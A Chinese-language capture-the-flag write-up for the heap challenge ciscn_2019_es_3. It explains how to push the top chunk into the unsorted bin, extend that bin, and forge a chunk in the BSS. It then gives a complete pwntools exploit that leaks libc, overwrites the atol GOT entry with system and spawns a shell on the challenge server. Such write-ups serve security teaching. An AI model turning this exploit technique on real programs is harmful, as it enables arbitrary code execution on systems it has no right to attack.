0%

ciscn_2019_es_3(top chunk形成unsorted bin+expand unsorted bin)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,在edit功能里,使用strlen来更新size,因此下一次修改,可以溢出到下一个chunk的size处。

程序中没有调用free函数,并且不能完全控制chunk的size的8字节,无法利用house of force,因此,想到了house of orange的方法。

利用edit和溢出,修改将TOP chunk的size改小,然后申请一个比size大的堆,old_topchunk就会被放入unsorted bin。这个top chunk的size不能随意修改,得大于最小值,并且要求(top_chunk_addr + size) & 0xFFF = 0,即大小是页对齐的。

首先利用这个方法,得到unsorted bin,泄露地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(0x15000,'a'*0x18) #0
#raw_input()
show_name()
sh.recvuntil('a'*0x40)
heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(0x8,'\x00'))
print 'heap_addr=',hex(heap_addr)
heap_ptr_addr = 0x0000000000602100
sh.sendlineafter('(yes:1 / no:0)','0')
add(0x18,'b'*0x18) #1
edit(1,'b'*0x18)
edit(1,'b'*0x18 + '\x71\x0D\x00') #修改TOP chunk的size,size要求(top_chunk_addr + size) & 0xFFF = 0
#将top chunk放入unsorted bin
add(0x1008,'c'*0x100) #2
add(0xC00,'\xA0') #3
show(3)

第1个chunk,之所以add(0x15000,’a’0x18),是为了让old_topchunk的地址靠近将来新的top chunk,要形成overlap chunk,这里的方法是*[expand unsorted bin,即扩充unsorted bin]{.mark}**,而我们只能控制size的前3字节,为了能在3字节范围内将old_topchunk形成的unsorted bin尾部扩充到我们可控的区域内,我们的事先消耗掉old_topchunk里大部分空间。这样,我们将来在new_topchunk里切割的堆块就被包含在了unsorted bin里面。

1
2
3
4
5
6
7
add(0x18,'e'*0x18) #4
edit(4,'e'*0x18)
#扩充unsorted bin
edit(4,'e'*0x18 + p16(0xA180))
edit(2,'c'*0x30 + p64(0xA180) + p64(0x20) + 'c'*0x10 + p64(0) + p64(0x21) + 'c'*0x10) #伪造好扩充的unsorted bin
#申请后,就可以通过2来控制unsorted bin
add(0xA140,'f'*0x20) #5

现在,我们就通过2来控制整个unsorted bin,由于在libc-2.27上,传统的house of orange已经失效了,但是可以有其他方法来触发,比如exit。

但是这里,我使用的是另外一种方法,即控制unsorted bin的bk指针指向bss上的name

然后我们在name里伪造一个chunk,另该chunk的fd = bk = name,然后,通过malloc与伪造的chunksize一样的堆,unsorted bin遍历时,就可以直接将name取出返回给我们,这样,我们就可以控制name下面的堆指针,进而获得任意地址读写的能力。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#coding:utf8
from pwn import *

#context.log_level = 'debug'
#sh = process('./ciscn_2019_es_3',env={'LD_PRELOAD':'./libc-2.27.so'})
sh = remote('node3.buuoj.cn',29422)
elf = ELF('./ciscn_2019_es_3')
atol_got = elf.got['atol']
libc = ELF('./libc-2.27.so')
name_addr = 0x00000000006020C0

sh.sendafter('name :','a'*0x40)

def add(size,content):
sh.sendlineafter('Your choice :','1')
sh.sendlineafter('Size of page :',str(size))
sh.sendafter('Content :',content)

def show(index):
sh.sendlineafter('Your choice :','2')
sh.sendlineafter('Index of page :',str(index))

def edit(index,content):
sh.sendlineafter('Your choice :','3')
sh.sendlineafter('Index of page :',str(index))
sh.sendafter('Content:',content)

def show_name():
sh.sendlineafter('Your choice :','4')

add(0x15000,'a'*0x18) #0
#raw_input()
show_name()
sh.recvuntil('a'*0x40)
heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(0x8,'\x00'))
print 'heap_addr=',hex(heap_addr)
heap_ptr_addr = 0x0000000000602100
sh.sendlineafter('(yes:1 / no:0)','0')
add(0x18,'b'*0x18) #1
edit(1,'b'*0x18)
edit(1,'b'*0x18 + '\x71\x0D\x00') #修改TOP chunk的size,size要求(top_chunk_addr + size) & 0xFFF = 0
#将top chunk放入unsorted bin
add(0x1008,'c'*0x100) #2
add(0xC00,'\xA0') #3
show(3)
sh.recvuntil('Content :\n')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = main_arena_xx - 0x3ec2a0
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
add(0x18,'e'*0x18) #4
edit(4,'e'*0x18)
#扩充unsorted bin
edit(4,'e'*0x18 + p16(0xA180))
edit(2,'c'*0x30 + p64(0xA180) + p64(0x20) + 'c'*0x10 + p64(0) + p64(0x21) + 'c'*0x10) #伪造好扩充的unsorted bin
#申请后,就可以通过2来控制unsorted bin
add(0xA140,'f'*0x20) #5
edit(2,p64(0) + p64(0x31) + p64(0) + p64(name_addr)) #将name连接到unsorted bin的bk上
show_name()
sh.sendlineafter('(yes:1 / no:0)','1')
#在bss上伪造一个chunk
sh.sendlineafter('name :',p64(0) + p64(0x91) + p64(name_addr)*2) #unsorted bin双向链表完整性检查,我们令fd=bk=self
#申请到name里,修改堆指针
payload = 'a'*0x30 + p64(atol_got)
add(0x80,payload) #6
#修改atol的got表
edit(0,p64(system_addr))
#getshell
sh.sendlineafter('Your choice :','/bin/sh')

sh.interactive()